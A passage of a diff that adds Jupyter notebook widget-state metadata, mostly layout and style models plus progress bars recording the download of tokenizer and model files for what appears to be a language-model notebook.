+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c697ecf18cad4be6990af0899da9503c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_64f4db4f35324cab9abab95c86307a89",
+            "value": " 232k/232k [00:00&lt;00:00, 5.74MB/s]"
+          }
+        },
+        "b132e46fada74341aa52482f1b5f4240": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4c1a2f85fe2744fbbada089a46ac7f20",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f9b7adc37082413f93053106e60eab4d",
+            "value": " 232k/232k [00:00&lt;00:00, 2.98MB/s]"
+          }
+        },
+        "b217d9ea08a14ff49d274fc2aea760f8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3bee2b1a38cc4f68a614ac2460b45f37",
+            "placeholder": "​",
+            "style": "IPY_MODEL_400bbbc0ce6e42ad9f0916a428aeff83",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "b2298da115e446eb8b129cf635bad729": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b24e8170391d4a41835bcdb649457ba7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e909d23ed13e4652a909b4f1c5702ec7",
+            "placeholder": "​",
+            "style": "IPY_MODEL_82f6ec4e9743477c909d6ef734c06808",
+            "value": "Downloading (…)neration_config.json: 100%"
+          }
+        },
+        "b3c518bde5bc4a5bb2c2f6528d361cc0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b654f414cfe04f9a9777b076349199f6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3080191d2d754416988b90ece2f76cb5",
+            "max": 708756315,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_d02a3297387b45c98e78c9a4a13bc6cd",
+            "value": 708756315
+          }
+        },
+        "b68190a10e0b48678a9937693a2e0875": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "b6bd97ac6f79431596f1d2e76cf80cc1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "bcb584c47d2e430f8d0ff7db81619909": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_14574612bb6542a1b557a12bdc189cbc",
+            "placeholder": "​",
+            "style": "IPY_MODEL_628ac6a81d1646418cd58b7fccb814a9",
+            "value": " 709M/709M [00:05&lt;00:00, 208MB/s]"
+          }
+        },
+        "bed467f249ca47ea8b3ea57cc365dd22": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_54dc179584c241dea17f59f2b9e93f47",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8a7d1c368a9548d0aecb6564d7aa1bb7",
+            "value": " 711k/711k [00:00&lt;00:00, 8.24MB/s]"
+          }
+        },
+        "bedf96c9d0c94e7f9f723e4cec98ae8a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c163abebb6434568ac10621f99dee880": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c3bfbf522f884eb489410593b6b63abc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e95fea587b2a4f47a7b8b492db3e1ffc",
+              "IPY_MODEL_b0dba09b02f142c485ce94ba887132b5",
+              "IPY_MODEL_3dedecb37fdb44ceb07c6d1712c4e021"
+            ],
+            "layout": "IPY_MODEL_039c791cb44e42e29fce22b17e6aaeb2"
+          }
+        },
+        "c4f1648bca844b0ba790a5990ae2170c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8cc8a9d55c2546bcaabead9c8dc2ed09",
+            "max": 711396,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ff3175e110e94476bf7ed17ef19a0077",
+            "value": 711396
+          }
+        },
+        "c697ecf18cad4be6990af0899da9503c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c7af806e9fcf44dfa483f9aee21ab0ef": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cc2dc3160f074fd8a457dcde77cfbc2b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ce764110e55b47469fcd0e929808d801": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0c59eab53a8649cf88ed55d135981e1a",
+              "IPY_MODEL_6bfee089c2c6462daf9ccd9baae21cc3",
+              "IPY_MODEL_5af7e60d5fe142f6a2fb59b92c19715b"
+            ],
+            "layout": "IPY_MODEL_06d45a612716458e84cff4dadacde353"
+          }
+        },
+        "ce9b5e9018ff4acfb9f59fcb04bdea22": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cee5e9c5e2604a898fc3bd9fae8b260e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_492d702c82564ce5ae62e4989905f176",
+              "IPY_MODEL_fb47f6098ea54e828931f1082eddcfc6",
+              "IPY_MODEL_5a2729d7ebe54449aaedcb658795e19f"
+            ],
+            "layout": "IPY_MODEL_3afb14ab061c459b9276116e0a6c9416"
+          }
+        },
+        "d02a3297387b45c98e78c9a4a13bc6cd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "d19511fe4049467a9e24bffc8b799027": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d2ac867676604aa8a10267219e3c6362": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d500132d4c434179975a124e00c4cec3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3bc21fd430c3426283585a874ec1ce94",
+            "max": 125,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_37dc882c932347788e668b941222f7a2",
+            "value": 125
+          }
+        },
+        "da2eb9afc6214b7dbdb99bd38a05fedd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_dd77bd4c656748869c4bd34f1ae74508",
+              "IPY_MODEL_0fdfc064f7ac43e29f207cf8c01ebea4",
+              "IPY_MODEL_b132e46fada74341aa52482f1b5f4240"
+            ],
+            "layout": "IPY_MODEL_9f16f63600454da5afdef84ef5afd59d"
+          }
+        },
+        "dad6452f3a87437fbf6b691f56614711": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dbb37d88052b40f5aeeb1fbf2ab01be4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dd77bd4c656748869c4bd34f1ae74508": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3a18c950c8da4cc2b7f3f79a9b91dea2",
+            "placeholder": "​",
+            "style": "IPY_MODEL_dbb37d88052b40f5aeeb1fbf2ab01be4",
+            "value": "Downloading (…)solve/main/vocab.txt: 100%"
+          }
+        },
+        "dfa636e1fb524cf2ae3d6693fd128084": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1dabddf490454df48032d8c05080fe95",
+            "placeholder": "​",
+            "style": "IPY_MODEL_878c5cc4315443018704910dcf37f154",
+            "value": "Downloading (…)/main/tokenizer.json: 100%"
+          }
+        },
+        "e0a6fa485edb419da6b4c33e6d45cd9f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e11444c22fa24360a293d4e6dad4ef3a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e5264a161eff4d6484cbefc7ac38c20d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e6998fe4f2aa4ef595e9b30b794c5549": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e837565f047041b1b4fe58abe20b4860": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_30c8f5bab4ac4beab39c0a282e6a3183",
+            "placeholder": "​",
+            "style": "IPY_MODEL_fa8c6a48412a46ed905d105a2cc4f073",
+            "value": " 453/453 [00:00&lt;00:00, 20.8kB/s]"
+          }
+        },
+        "e909d23ed13e4652a909b4f1c5702ec7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e95fea587b2a4f47a7b8b492db3e1ffc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e11444c22fa24360a293d4e6dad4ef3a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_a4ae31365e3c4370bc2f7e7ce7fe27f9",
